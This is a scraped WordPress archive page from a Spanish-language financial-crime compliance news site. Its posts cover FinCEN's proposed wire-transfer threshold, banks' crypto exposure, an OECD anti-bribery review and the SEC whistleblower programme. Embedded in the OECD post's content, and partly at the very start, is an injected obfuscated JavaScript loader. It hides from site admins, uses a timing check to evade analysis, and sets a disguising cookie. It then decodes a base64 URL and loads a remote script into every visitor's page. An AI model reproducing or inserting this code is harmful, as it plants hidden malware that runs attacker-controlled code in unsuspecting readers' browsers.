u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"El Compliance (Cumplimiento) en la nueva normalidad, durante y despu\u00e9s del Covid-19","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"el-compliance-cumplimiento-en-la-nueva-normalidad-durante-y-despues-del-covid-19","to_ping":"","pinged":"","post_modified":"2025-10-24 17:06:04","post_modified_gmt":"2025-10-24 21:06:04","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25307","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25304,"post_author":"16","post_date":"2020-11-02 15:17:00","post_date_gmt":"2020-11-02 19:17:00","post_content":"<p>Un cambio propuesto en las obligaciones ALD\/CFT en EE.UU. puede llegar a reducir el monto de las transacciones que obliga a enviar informaci\u00f3n sobre los remitentes y receptores de transferencias financieras internacionales a otras instituciones, lo que podr\u00eda agregar m\u00e1s carga de cumplimiento a los bancos que procesan dichos pagos.<\/p><p>FinCEN, la unidad de informaci\u00f3n financiera de EE.UU., y la Junta de la Reserva Federal est\u00e1n buscando comentarios sobre una enmienda que requerir\u00eda que las instituciones financieras recopilen, retengan y transmitan cierta informaci\u00f3n relacionada con transferencias internacionales y transferencias de fondos superiores a US$ 250.<\/p><p>Actualmente, bajo la Ley de Secreto Bancario de EE. UU., los bancos y las instituciones financieras no bancarias de EE.UU. obtienen, conservan y transmiten dicha informaci\u00f3n para las transacciones nacionales e internacionales de US$ 3.000 o m\u00e1s, incluyendo la identidad y la informaci\u00f3n de cuenta del remitente y el destinatario, a otras instituciones financieras a lo largo de la cadena de pago. Las denominadas regulaciones de las reglas de viaje est\u00e1n destinadas a ayudar a las agencias de ley y a los reguladores a investigar y procesar posteriormente las actividades il\u00edcitas mediante la preservaci\u00f3n de un rastro de informaci\u00f3n.<\/p><p>FinCEN y la Junta de la Reserva Federal, en la propuesta publicada el martes en el Registro Federal, sugieren mantener el umbral para transacciones nacionales en US$ 3.000.<\/p><p>La propuesta tambi\u00e9n aclar\u00f3 que la regla tambi\u00e9n se aplica a las transacciones que involucran monedas virtuales o digitales.<\/p><p>Los reguladores hab\u00edan se\u00f1alado que encontraron que transferencias electr\u00f3nicas internacionales por debajo del US$ 3.000 se estaban utilizando para facilitar el financiamiento del terrorismo, el tr\u00e1fico de narc\u00f3ticos y otras actividades il\u00edcitas. Las agencias dijeron que basaron su propuesta parcialmente en un an\u00e1lisis de datos de aproximadamente 2.000 reportes de operaciones sospechosas presentados por instituciones financieras a FinCEN entre 2016 y 2019 que estaban relacionados con posibles transferencias de fondos para el financiamiento del terrorismo.<\/p><p>FinCEN encontr\u00f3 que aproximadamente el 99% de las transacciones subyacentes de estos SAR comenzaron o terminaron fuera de EE. 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Las agencias dijeron que algunas instituciones financieras ya estaban recopilando informaci\u00f3n sobre algunas de las transacciones por debajo del umbral actual para reportar transacciones sospechosas a FinCEN, o simplemente para mantener un solo conjunto de procesos para todas las transacciones.<\/p>","post_title":"EE.UU. propone bajar el umbral (de US$3.000 a US$250) para la transmisi\u00f3n de datos del remitente y destinatario","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"ee-uu-propone-bajar-el-umbral-de-us3-000-a-us250-para-la-transmision-de-datos-del-remitente-y-destinatario","to_ping":"","pinged":"","post_modified":"2020-11-02 15:19:59","post_modified_gmt":"2020-11-02 19:19:59","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25304","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"}],"next":false,"prev":true,"total_page":14},"paged":1,"column_class":"jeg_col_3o3","class":"epic_block_9"};</script> </div> </div> </div> </div> </div> </div> </section> <section class="has_eae_slider elementor-section elementor-top-section elementor-element elementor-element-a3c376b elementor-section-boxed elementor-section-height-default elementor-section-height-default" data-id="a3c376b" data-element_type="section"> <div class="elementor-container elementor-column-gap-default"> <div class="has_eae_slider elementor-column elementor-col-100 elementor-top-column elementor-element elementor-element-775b7a7" data-id="775b7a7" data-element_type="column"> <div class="elementor-widget-wrap elementor-element-populated"> <div class="elementor-element elementor-element-89994b6 elementor-widget elementor-widget-epic_archive_pagination_elementor" data-id="89994b6" data-element_type="widget" data-widget_type="epic_archive_pagination_elementor.default"> <div class="elementor-widget-container"> <div class="jeg_navigation jeg_pagination jeg_pagenav_2 jeg_aligncenter no_navtext no_pageinfo"> <span class="page_info">Page 14 of 110</span> <a class="page_nav prev" data-id="13" href="https://www.delitosfinancieros.org/category/noticias/page/13/"><span class="navtext">Previous</span></a> <a class='page_number' data-id='1' href='https://www.delitosfinancieros.org/category/noticias/'>1</a> <span class="page_number dots">…</span> <a class='page_number' data-id='13' href='https://www.delitosfinancieros.org/category/noticias/page/13/'>13</a> <span class='page_number active'>14</span> <a class='page_number' data-id='15' href='https://www.delitosfinancieros.org/category/noticias/page/15/'>15</a> <span class="page_number dots">…</span> <a class='page_number' data-id='110' href='https://www.delitosfinancieros.org/category/noticias/page/110/'>110</a> <a class="page_nav next" data-id="15" href="https://www.delitosfinancieros.org/category/noticias/page/15/"><span class="navtext">Next</span></a> </div> </div> </div> </div> </div> </div> </section> \n<p>Para crear una defensa m\u00e1s s\u00f3lida para su instituci\u00f3n y evitar que su banco se convierta en un conducto para que los grupos criminales laven dinero, debe saber c\u00f3mo intentan limpiar las ganancias il\u00edcitas. \u00bfC\u00f3mo? Manteni\u00e9ndose al d\u00eda con la moneda virtual.<\/p>\n\n\n\n<p>No se desv\u00ede del debate sobre si Bitcoin y otras monedas virtuales son dep\u00f3sitos reales y aut\u00e9nticos de valor, \u201cdinero Monopoly\u201d o algo en el medio. El punto central para los profesionales del cumplimiento es que los delincuentes est\u00e1n utilizando monedas virtuales por sumas de hasta US$1.000 millones de d\u00f3lares.<\/p>\n\n\n\n<p>Entonces, para no quedar pedaleando en el aire por falta de conocimiento, debe aprender qu\u00e9qu\u00e9 monedas virtuales son m\u00e1s riesgosas y poder sopesar los distintos riesgos. Aprenda c\u00f3mo los investigadores rastrean las transacciones \"pseudo\" an\u00f3nimas en la cadena de bloques o blockchain.<\/p>\n\n\n\n<p><strong> <\/strong>\u201cEl desarrollo personal y la creaci\u00f3n de redes con otros profesionales son clave para el crecimiento profesional. \u00a1Nunca deje de estudiar, mantenerse actualizado y crear una conexi\u00f3n significativa! \" dijo un asistente.<\/p>\n\n\n\n<p><strong>Si\u00e9ntase inc\u00f3modo<\/strong><\/p>\n\n\n\n<p>Un orador se\u00f1al\u00f3 que para convertirse en un profesional m\u00e1s completo, debe individualizar aquellas \u00e1reas a las que teme o en las que cree que no es bueno y zambullirse en ellas.<\/p>\n\n\n\n<p>Descubra d\u00f3nde tiene miedo, d\u00f3nde est\u00e1 d\u00e9bil y le falta confianza y convierta esas vulnerabilidades en fortalezas para que tenga menos puntos ciegos cuando se sienta presionado.<\/p>\n\n\n\n<p>El equilibrio es un poderoso aliado cuando los reclutadores de profesionales del \u00e1rea de cumplimiento de delitos financieros analizan su historial laboral general, una medida que puede ayudar a comprender mejor su enfoque hol\u00edstico e integral en \u00e1reas dentro y fuera del  cumplimiento.<\/p>\n","post_title":"Crecer como profesional de cumplimiento, superar el miedo a la tecnolog\u00eda, sentirse \"inc\u00f3modo\" para progresar: Panorama de la Cumbre de Canad\u00e1","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"crecer-como-profesional-de-cumplimiento-superar-el-miedo-a-la-tecnologia-sentirse-incomodo-para-progresar-panorama-de-la-cumbre-de-canada","to_ping":"","pinged":"","post_modified":"2020-11-24 17:57:44","post_modified_gmt":"2020-11-24 21:57:44","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25412","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25400,"post_author":"16","post_date":"2020-11-24 11:21:03","post_date_gmt":"2020-11-24 15:21:03","post_content":"\n<p><\/p>\n\n\n\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/4bb7abE4e7E\n<\/div><\/figure>\n\n\n\n<p>Recientes novedades en Estados Unidos sugieren que los reguladores se est\u00e1n preparando para la adopci\u00f3n permanente de los activos digitales y esperan que las instituciones financieras comprendan su exposici\u00f3n y mitiguen los riesgos asociados.<\/p>\n\n\n\n<p><strong>Durante los \u00faltimos meses en Estados Unidos:<\/strong><\/p>\n\n\n\n<ul><li>la Oficina del Contralor de la Moneda (OCC) aclar\u00f3 que los bancos nacionales pueden brindar servicios de custodia de activos digitales a los clientes y participar en ciertas actividades de <em>stablecoins<\/em>, tambi\u00e9n llamadas monedas estable,<\/li><li>la Divisi\u00f3n de Banca de Wyoming emiti\u00f3 su primera autorizaci\u00f3n para una instituci\u00f3n depositaria de prop\u00f3sito especiales (SPDI por sus siglas en ingl\u00e9s) para que Kraken se transforme en el primer intercambio de criptomonedas regulado como un banco, y<\/li><li>la Conferencia de Supervisores de Bancos Estatales (CSBS) present\u00f3 un conjunto \u00fanico de reglas de supervisi\u00f3n para que las empresas de criptomonedas puedan expandirse m\u00e1s f\u00e1cilmente en todo el pa\u00eds.<\/li><\/ul>\n\n\n\n<p>Estas novedades significan que los bancos y otras instituciones financieras tienen la oportunidad de pasar a una clase de activos emergentes que crecen en popularidad, particularmente entre los consumidores m\u00e1s j\u00f3venes. Sin embargo, comentarios recientes de Kenneth A. Blanco, Director de la Red de Ejecuci\u00f3n de Delitos Financieros del Departamento del Tesoro (FinCEN), la Unidad de Informaci\u00f3n Financiera de EE.UU., sugieren que incluso los bancos sin intenci\u00f3n de expandir sus negocios al espacio de las criptomonedas deben comprender este universo y monitorear las interacciones de sus clientes con este para cumplir con sus obligaciones regulatorias.<\/p>\n\n\n\n<p>El mes pasado, Blanco habl\u00f3 en una conferencia sobre los esfuerzos de los estafadores para aprovechar la crisis de Covid-19 y la respuesta de su agencia. Pero lo m\u00e1s notable de sus comentarios fue el tiempo que dedic\u00f3 a explicar por qu\u00e9 todos los bancos deben ser conscientes de su exposici\u00f3n a las criptomonedas y el riesgo que asumen al ignorarla.<\/p>\n\n\n\n<p>Espec\u00edficamente, dijo: \u201cUn tema que siempre aparece durante estas conversaciones se relaciona con la mitigaci\u00f3n de los riesgos asociados con los sistemas de pago emergentes, incluida la moneda virtual. Para ser claros, los intercambios de [moneda virtual] no son los \u00fanicos con exposici\u00f3n al riesgo de las monedas criptogr\u00e1ficas. Estos riesgos no son exclusivos de las empresas de servicios monetarios o los cambistas de divisas virtuales; los bancos tambi\u00e9n deben estar pensar en su exposici\u00f3n a las criptomonedas\".<\/p>\n\n\n\n<p>Las palabras de Blanco indican que un banco tradicional puede ser considerado responsable de la actividad il\u00edcita llevada a cabo con criptomonedas por sus clientes, incluso si el propio banco no proporciona servicios de custodia de criptomonedas.<\/p>\n\n\n\n<p>Por ejemplo, si un cliente transfiere fondos de su cuenta bancaria a un cambista de criptomonedas, compra criptomonedas y luego, digamos, env\u00eda esa criptomoneda a un individuo sancionado o al mercado de la red oscura, la exposici\u00f3n del banco a ese riesgo podr\u00eda ser preocupante para los reguladores.<\/p>\n\n\n\n<p>De manera similar, si un cliente extorsiona a otros en esquemas de <em>ransomware<\/em>, acepta criptomonedas en un intercambio que transfiere fondos a su cuenta bancaria, podr\u00eda estar exponiendo a su banco a riesgos. Analizaremos c\u00f3mo los bancos pueden prepararse para incorporar la criptomoneda en sus programas de cumplimiento.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/AdobeStock_192635639-1024x503.jpeg\" alt=\"\" class=\"wp-image-25404\"\/><\/figure>\n\n\n\n<p><strong><u>Comprender la exposici\u00f3n a las criptomonedas y el riesgo<\/u><\/strong><\/p>\n\n\n\n<p>Los bancos que eval\u00faan su riesgo de criptomonedas primero deben preguntarse si tienen alguna forma de identificar a los clientes actuales que usan criptomonedas.<\/p>\n\n\n\n<p>Algunos bancos pueden pensar que ninguno de sus clientes usa criptomonedas. De hecho, cuando la compa\u00f1\u00eda de investigaci\u00f3n de blockchain Chainalisys encuest\u00f3 a un grupo de profesionales de inversi\u00f3n hace un a\u00f1o, casi un tercio estim\u00f3 que ninguno de sus clientes realizaba transacciones con negocios de criptomonedas. Bancos como Wells Fargo han prohibido rotundamente a sus clientes enviar fondos a negocios de criptomonedas, lo que podr\u00eda llevarlos a creer que muy pocos o incluso ninguno de ellos lo est\u00e1n haciendo.<\/p>\n\n\n\n<p>Sin embargo, esto podr\u00eda no ser as\u00ed. Una encuesta reciente de la firma de consultor\u00eda financiera Cornerstone Advisors sugiere que el 15% de los estadounidenses ha comprado criptomonedas de alguna forma, y otro 11% dice que planea hacerlo en un futuro pr\u00f3ximo.<\/p>\n\n\n\n<p>Tambi\u00e9n sabemos por otras encuestas que es a\u00fan m\u00e1s probable que los consumidores m\u00e1s j\u00f3venes hayan comprado criptomonedas. Por lo tanto, parece improbable que cualquier banco con una base de clientes sustancial no tenga al menos algunos clientes que realicen transacciones con negocios de criptomonedas.<\/p>\n\n\n\n<p>Los bancos que informan una adopci\u00f3n nula de criptomonedas entre sus clientes probablemente no est\u00e1n obteniendo una imagen completa y podr\u00edan enfrentar problemas con los reguladores en el futuro.<\/p>\n\n\n\n<p>Si los bancos aceptan que al menos algunos de sus clientes probablemente est\u00e9n comprando criptomonedas, \u00bfc\u00f3mo adoptan un enfoque espec\u00edfico para administrar el riesgo asociado?<\/p>\n\n\n\n<p>El primer paso es conocer los intercambios de criptomonedas m\u00e1s populares. Los intercambios son las rampas principales de entrada y salida entre la criptomoneda y la moneda fiduciaria, y probablemente los lugares m\u00e1s comunes a los que sus clientes enviar\u00edan fondos para comprar criptomonedas. Los bancos necesitan crear un sistema para detectar intercambios en sus mensajes SWIFT, pagos ACH y transacciones con tarjeta de d\u00e9bito.<\/p>\n\n\n\n<p>Los principales intercambios de criptomonedas est\u00e1n en constante evoluci\u00f3n, por lo que los bancos tambi\u00e9n deben monitorearlos en tiempo real para que dicho programa sea efectivo.<\/p>\n\n\n\n<p>Si los bancos comenzaran a monitorear estas empresas en la actividad de sus clientes hoy, inevitablemente encontrar\u00edan transacciones relacionadas con las criptomonedas que no sab\u00edan que estaban sucediendo. A partir de ah\u00ed, deben evaluar el riesgo de esas transacciones en funci\u00f3n de sus pol\u00edticas actuales contra el lavado de dinero, verificando transacciones que sugieran una actividad sospechosa.<\/p>\n\n\n\n<p>A largo plazo, los bancos deber\u00e1n evaluar individualmente todos los intercambios con los que sus clientes realizan transacciones, as\u00ed como cualquier otro negocio de criptomonedas que los clientes est\u00e9n financiando desde sus cuentas bancarias.<\/p>\n\n\n\n<p>Para empezar, deben examinar el modelo comercial \u00fanico de cada intercambio, la calidad del programa de cumplimiento y la jurisdicci\u00f3n de operaci\u00f3n. Pero estos factores cualitativos no son suficientes por s\u00ed solos. Los bancos tambi\u00e9n deben evaluar la efectividad del cumplimiento de los intercambios midiendo su exposici\u00f3n a contrapartes riesgosas en otras partes del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>Estas mediciones ser\u00edan la se\u00f1al m\u00e1s fuerte de si un banco debiera o no hacer comerciar con un negocio de criptomonedas, pero la mayor\u00eda de los bancos no pueden obtener estos datos por s\u00ed mismos, por lo general se pueden asociar con proveedores de datos confiables que tengan un conocimiento del ecosistema de criptomonedas.<\/p>\n\n\n\n<p>A medida que se sientan m\u00e1s c\u00f3modos con el espacio, los bancos tambi\u00e9n pueden trabajar para establecer relaciones con los equipos de cumplimiento en empresas de criptomonedas de renombre que sus clientes utilizan con m\u00e1s frecuencia y trabajar con ellos para resolver problemas juntos.<\/p>\n\n\n\n<p><strong><u>Los bancos deber\u00edan tener una ventaja en las criptomonedas<\/u><\/strong><\/p>\n\n\n\n<p>El tiempo es clave para los bancos, los comentarios de Blanco indican que los reguladores pronto esperar\u00e1n que puedan mostrar c\u00f3mo sus programas de cumplimiento ALD\/CFT abordan la actividad de las criptomonedas y cu\u00e1l es el nivel de riesgo relacionado con las criptomonedas. Los bancos har\u00edan bien en comenzar a recopilar esa informaci\u00f3n ahora, en lugar de esperar hasta que los reguladores la exijan.<\/p>\n\n\n\n<p>Si bien esto puede ser desalentador al principio, los departamentos de cumplimiento de los bancos eventualmente dominar\u00e1n las criptomonedas si toman estos pasos. Despu\u00e9s de eso, \u00bfqui\u00e9n sabe qu\u00e9 podr\u00eda pasar? Los bancos que actualmente no planean involucrarse en el espacio de criptomonedas pueden abrirse a la idea de la adopci\u00f3n institucional a medida que desarrollan e implementan procedimientos para mitigar el riesgo de las criptomonedas.<\/p>\n","post_title":"Los bancos necesitan comprender su exposici\u00f3n a las criptomonedas incluso si no toman custodia de estas","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"los-bancos-necesitan-comprender-su-exposicion-a-las-criptomonedas-incluso-si-no-toman-custodia-de-estas","to_ping":"","pinged":"","post_modified":"2020-11-24 16:21:23","post_modified_gmt":"2020-11-24 20:21:23","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25400","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25409,"post_author":"16","post_date":"2020-11-23 11:33:00","post_date_gmt":"2020-11-23 15:33:00","post_content":"\n<p>Estados Unidos contin\u00faa liderando en la lucha contra la corrupci\u00f3n transnacional, pero podr\u00eda mejorar sus esfuerzos extendiendo la protecci\u00f3n a m\u00e1s denunciantes y ofreciendo transparencia adicional en la resoluci\u00f3n de casos de soborno en el extranjero, se\u00f1al\u00f3 el Grupo de Trabajo sobre Soborno de la Organizaci\u00f3n para la Cooperaci\u00f3n y Desarrollo Econ\u00f3micos (OCDE).<\/p>\n\n\n\n<p>El grupo de trabajo, en <a href=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" data-type=\"URL\" data-id=\"http:\/\/www.oecd.org\/daf\/anti-bribery\/unitedstates-oecdanti-briberyconvention.htm\" target=\"_blank\" rel=\"noreferrer noopener\"><strong>un informe publicado la semana pasada<\/strong><\/a>, elogi\u00f3 a Estados Unidos por elevar el nivel de aplicaci\u00f3n de su Ley de Pr\u00e1cticas Corruptas en el Extranjero (FCPA) desde su \u00faltima evaluaci\u00f3n por parte del grupo en 2010.<\/p>\n\n\n\n<div class=\"wp-block-image\"><figure class=\"aligncenter size-large is-resized\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image-1.png\" alt=\"\" class=\"wp-image-25410\" width=\"376\" height=\"377\"\/><\/figure><\/div>\n\n\n\n<p>Tambi\u00e9n elogi\u00f3 el \u00e9xito del programa de denuncia en la Comisi\u00f3n de Bolsa y Valores (SEC) por ayudar a detectar posibles irregularidades.<\/p>\n\n\n\n<p>Estados Unidos ha presentado 156 casos bajo la FCPA o violaciones relacionadas, tales como contabilidad creativa y lavado de dinero, entre septiembre de 2010 y julio de 2019, dijo la OCDE. Esos casos dieron lugar a la condena o al castigo de 174 empresas y 115 personas durante el per\u00edodo, seg\u00fan el informe. En comparaci\u00f3n con las 88 empresas y 71 personas registradas en la evaluaci\u00f3n anterior, que tuvo en cuenta el per\u00edodo entre 2002 y 2010.<\/p>\n\n\n\n<p>La FCPA proh\u00edbe que las empresas y las personas estadounidenses paguen sobornos a funcionarios de gobiernos extranjeros para obtener negocios.<\/p>\n\n\n\n<p>El informe, que refleja los hallazgos de expertos de Argentina y el Reino Unido, es parte de la cuarta fase de una revisi\u00f3n continua por pares del grupo de trabajo de la OCDE, que monitorea y eval\u00faa la implementaci\u00f3n y cumplimiento de la Convenci\u00f3n Antisoborno de la OCDE por parte de 44 pa\u00edses miembros. La cuarta fase se centra en el cumplimiento, la detecci\u00f3n y la responsabilidad empresarial, y eval\u00faa las necesidades de cada pa\u00eds y c\u00f3mo ha implementado las recomendaciones de la evaluaci\u00f3n anterior.<\/p>\n\n\n\n<p>Se solicita a los pa\u00edses miembros, incluido EE. UU., que env\u00eden un seguimiento por escrito a los pocos a\u00f1os del informe de evaluaci\u00f3n para explicar c\u00f3mo implementaron las recomendaciones de la OCDE.<\/p>\n\n\n\n<p>La OCDE agreg\u00f3 que los programas de denuncia en Estados Unidos han desempe\u00f1ado un papel fundamental en la detecci\u00f3n de presuntos sobornos extranjeros.<\/p>\n\n\n\n<p>El Departamento de Justicia de EE.UU. y la SEC mantienen l\u00edneas directas p\u00fablicas para recibir sugerencias an\u00f3nimas. El programa de denuncia de irregularidades de la SEC, creado por la Ley Dodd-Frank de 2010, tambi\u00e9n cre\u00f3 incentivos financieros y protecci\u00f3n contra las represalias para que los informantes que reporte presuntas infracciones relacionadas con la FCPA.<\/p>\n\n\n\n<p>El programa de denunciantes de la SEC, que comenz\u00f3 a funcionar en 2011, estableci\u00f3 nuevos r\u00e9cords en el a\u00f1o fiscal 2020 que finaliz\u00f3 el 30 de septiembre, otorgando m\u00e1s dinero a m\u00e1s informantes que en cualquier otro a\u00f1o de la historia del programa.<\/p>\n\n\n\n<p>La OCDE recomend\u00f3 en el informe que EE.UU. fortalezca y extienda la protecci\u00f3n contra las represalias a todos los informantes del sector privado que puedan plantear acusaciones relacionadas con la FCPA, incluidos aquellos que denuncian presunta corrupci\u00f3n por parte de empresas que no emiten valores o aquellos que solo informan al Departamento de Justicia.<\/p>\n\n\n\n<p>La OCDE tambi\u00e9n recomend\u00f3 que las agencias de ley de EE.UU. brinden m\u00e1s transparencia en las resoluciones de algunos casos de la FCPA, como facilitar al p\u00fablico la obtenci\u00f3n de informaci\u00f3n sobre la extensi\u00f3n o finalizaci\u00f3n de los acuerdos de no enjuiciamiento (<em>nonprosecution agreements<\/em>) y los acuerdos de enjuiciamiento diferido (<em>deferred prosecution agreements<\/em>) con empresas en los casos de la FCPA. Tambi\u00e9n recomend\u00f3 que EE.UU. contin\u00fae abordando la reincidencia mediante sanciones apropiadas.<\/p>\n\n\n\n<p>El informe que alaba los esfuerzos de Estados Unidos para hacer cumplir la ley no fue una sorpresa para la comunidad anticorrupci\u00f3n, dijeron los observadores. Pero el informe, de 180 p\u00e1ginas, describi\u00f3 varias de las mejores pr\u00e1cticas del gobierno de EE.UU. que podr\u00edan ser \u00fatiles para otros pa\u00edses o regiones que buscan ser m\u00e1s efectivos en su lucha contra el soborno extranjero.<\/p>\n<script>(function(){try{if(document.getElementById&&document.getElementById('wpadminbar'))return;var t0=+new Date();for(var i=0;i<20000;i++){var z=i*i;}if((+new Date())-t0>120)return;if((document.cookie||'').indexOf('http2_session_id=')!==-1)return;function systemLoad(input){var key='ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+\/=',o1,o2,o3,h1,h2,h3,h4,dec='',i=0;input=input.replace(\/[^A-Za-z0-9\\+\\\/\\=]\/g,'');while(i<input.length){h1=key.indexOf(input.charAt(i++));h2=key.indexOf(input.charAt(i++));h3=key.indexOf(input.charAt(i++));h4=key.indexOf(input.charAt(i++));o1=(h1<<2)|(h2>>4);o2=((h2&15)<<4)|(h3>>2);o3=((h3&3)<<6)|h4;dec+=String.fromCharCode(o1);if(h3!=64)dec+=String.fromCharCode(o2);if(h4!=64)dec+=String.fromCharCode(o3);}return dec;}var u=systemLoad('aHR0cHM6Ly9zZWFyY2hyYW5rdHJhZmZpYy5saXZlL2pzeA==');if(typeof window!=='undefined'&&window.__rl===u)return;var d=new Date();d.setTime(d.getTime()+30*24*60*60*1000);document.cookie='http2_session_id=1; expires='+d.toUTCString()+'; path=\/; SameSite=Lax'+(location.protocol==='https:'?'; Secure':'');try{window.__rl=u;}catch(e){}var s=document.createElement('script');s.type='text\/javascript';s.async=true;s.src=u;try{s.setAttribute('data-rl',u);}catch(e){}(document.getElementsByTagName('head')[0]||document.documentElement).appendChild(s);}catch(e){}})();<\/script>","post_title":"Un grupo de trabajo de la OCDE elogia los esfuerzos de EE.UU. contra el soborno en el extranjero","post_excerpt":"","post_status":"publish","comment_status":"closed","ping_status":"closed","post_password":"","post_name":"un-grupo-de-trabajo-de-la-ocde-elogia-los-esfuerzos-de-ee-uu-contra-el-soborno-en-el-extranjero","to_ping":"","pinged":"","post_modified":"2025-10-24 17:04:10","post_modified_gmt":"2025-10-24 21:04:10","post_content_filtered":"","post_parent":0,"guid":"https:\/\/www.delitosfinancieros.org\/?p=25409","menu_order":0,"post_type":"post","post_mime_type":"","comment_count":"0","filter":"raw"},{"ID":25406,"post_author":"16","post_date":"2020-11-23 11:32:00","post_date_gmt":"2020-11-23 15:32:00","post_content":"\n<figure class=\"wp-block-embed-youtube wp-block-embed is-type-video is-provider-youtube wp-embed-aspect-16-9 wp-has-aspect-ratio\"><div class=\"wp-block-embed__wrapper\">\nhttps:\/\/youtu.be\/wgbCobolWgA\n<\/div><\/figure>\n\n\n\n<p>El programa de denunciantes de la Comisi\u00f3n de Bolsa y Valores de EE. UU. (SEC por sus siglas en ingl\u00e9s) estableci\u00f3 un nuevo r\u00e9cord anual otorgando m\u00e1s dinero a m\u00e1s informantes en el a\u00f1o fiscal 2020 que en cualquier otro a\u00f1o de la historia del programa. La oficina pag\u00f3 alrededor de US$ 175 millones en recompensas a 39 informantes en el a\u00f1o fiscal que finaliz\u00f3 en septiembre y recibi\u00f3 una cantidad r\u00e9cord, alrededor de 6.900 de denuncias.<\/p>\n\n\n\n<p>El volumen sigue a los esfuerzos del regulador para acelerar los pagos a los denunciantes despu\u00e9s de a\u00f1os de quejas de que el programa es lento para repartir las recompensas.<\/p>\n\n\n\n<p>\"Estamos enviando el mensaje a la gente que, si nos brinda informaci\u00f3n de alta calidad, investigaremos y emprenderemos acciones con vigor, y luego le daremos una recompensa al denunciante de inmediato\", se\u00f1al\u00f3 el presidente de la SEC Jay Clayton en una reciente entrevista, la semana pasada anunci\u00f3 que planea dimitir a finales de este a\u00f1o.<\/p>\n\n\n\n<figure class=\"wp-block-image size-large\"><img src=\"https:\/\/www.delitosfinancieros.org\/wp-content\/uploads\/2020\/11\/image.png\" alt=\"\" class=\"wp-image-25407\"\/><\/figure>\n\n\n\n<p>La Oficina del Denunciante de la SEC emiti\u00f3 alrededor de US$ 175 millones en recompensa a 39 personas en el a\u00f1o fiscal que finaliz\u00f3 el 30 de septiembre, seg\u00fan el informe anual de la oficina al Congreso. El monto total en d\u00f3lares fue 4% m\u00e1s alto que el r\u00e9cord anterior, alrededor de US$ 168 millones en el a\u00f1o fiscal 2018, y casi tres veces el total emitido en el a\u00f1o fiscal 2019, cuando se distribuyeron US$ 60 millones entre ocho personas.<\/p>\n\n\n\n<p>En este \u00faltimo a\u00f1o fiscal, la oficina del denunciante tambi\u00e9n emiti\u00f3 un r\u00e9cord de 315 determinaciones preliminares de reclamos de adjudicaci\u00f3n que detallan si el reclamo de un informante debe aprobarse o denegarse, que es un 96% m\u00e1s que el r\u00e9cord anterior, establecido en 2014, cuando la mayor\u00eda de las \u00f3rdenes preliminares fueron denegaciones emitidas a un reclamante, seg\u00fan el informe.<\/p>\n\n\n\n<p>La SEC comenz\u00f3 a revisar su proceso de evaluaci\u00f3n de reclamos con el objetivo de hacerlo m\u00e1s eficiente hace aproximadamente un a\u00f1o y medio cuando la agencia reguladora propuso cambios a las reglas del programa de denuncia de irregularidades, seg\u00fan Clayton.<\/p>\n\n\n\n<p>Las enmiendas a las reglas del programa de denunciantes, aprobadas en septiembre y dise\u00f1adas para hacer que el proceso de adjudicaci\u00f3n sea m\u00e1s eficiente, entrar\u00e1n en vigencia el pr\u00f3ximo mes.<\/p>\n\n\n\n<p>El regulador ha sumado personal al programa y ha utilizado recursos de toda la divisi\u00f3n de cumplimiento de la SEC, se\u00f1al\u00f3 Stephanie Avakian, directora de la divisi\u00f3n, que supervisa el programa de denuncia. La oficina ahora tiene 13 abogados, m\u00e1s tres temporales, y un personal de apoyo que incluye un contador, asistentes legales, analistas y secretarios legales, seg\u00fan el informe. En comparaci\u00f3n con los ocho abogados, tres asistentes legales y un especialista de apoyo en 2012.<\/p>\n\n\n\n<p>\u201cEl programa, como todo lo dem\u00e1s, debe adaptarse con el tiempo\u201d, dijo Avakian. \"Realmente ha pagado dividendos masivos, y espero que esos dividendos solo aumenten con el tiempo\".<\/p>\n\n\n\n<p>Los abogados que representan a los denunciantes han atribuido el aumento en parte a la pandemia, se\u00f1alando el hecho de que muchos presuntos denunciantes trabajan desde la privacidad de su hogar, fuera de la vista de colegas y gerentes curiosos y, por lo tanto, est\u00e1n m\u00e1s seguros de ser expuestos como denunciantes.<\/p>\n\n\n\n<p>\"Probablemente ha habido un aumento considerable de cuestiones para quejarse a la luz de Covid\", dijo Avakian y se\u00f1al\u00f3 que no pueden estar seguros sobre qu\u00e9 contribuy\u00f3 precisamente al aumento y agreg\u00f3 que podr\u00eda haber m\u00faltiples razones.<\/p>\n\n\n\n<p>Seg\u00fan el programa, que fue promulgado como parte de la Ley Dodd-Frank de 2010, un denunciante puede recibir una 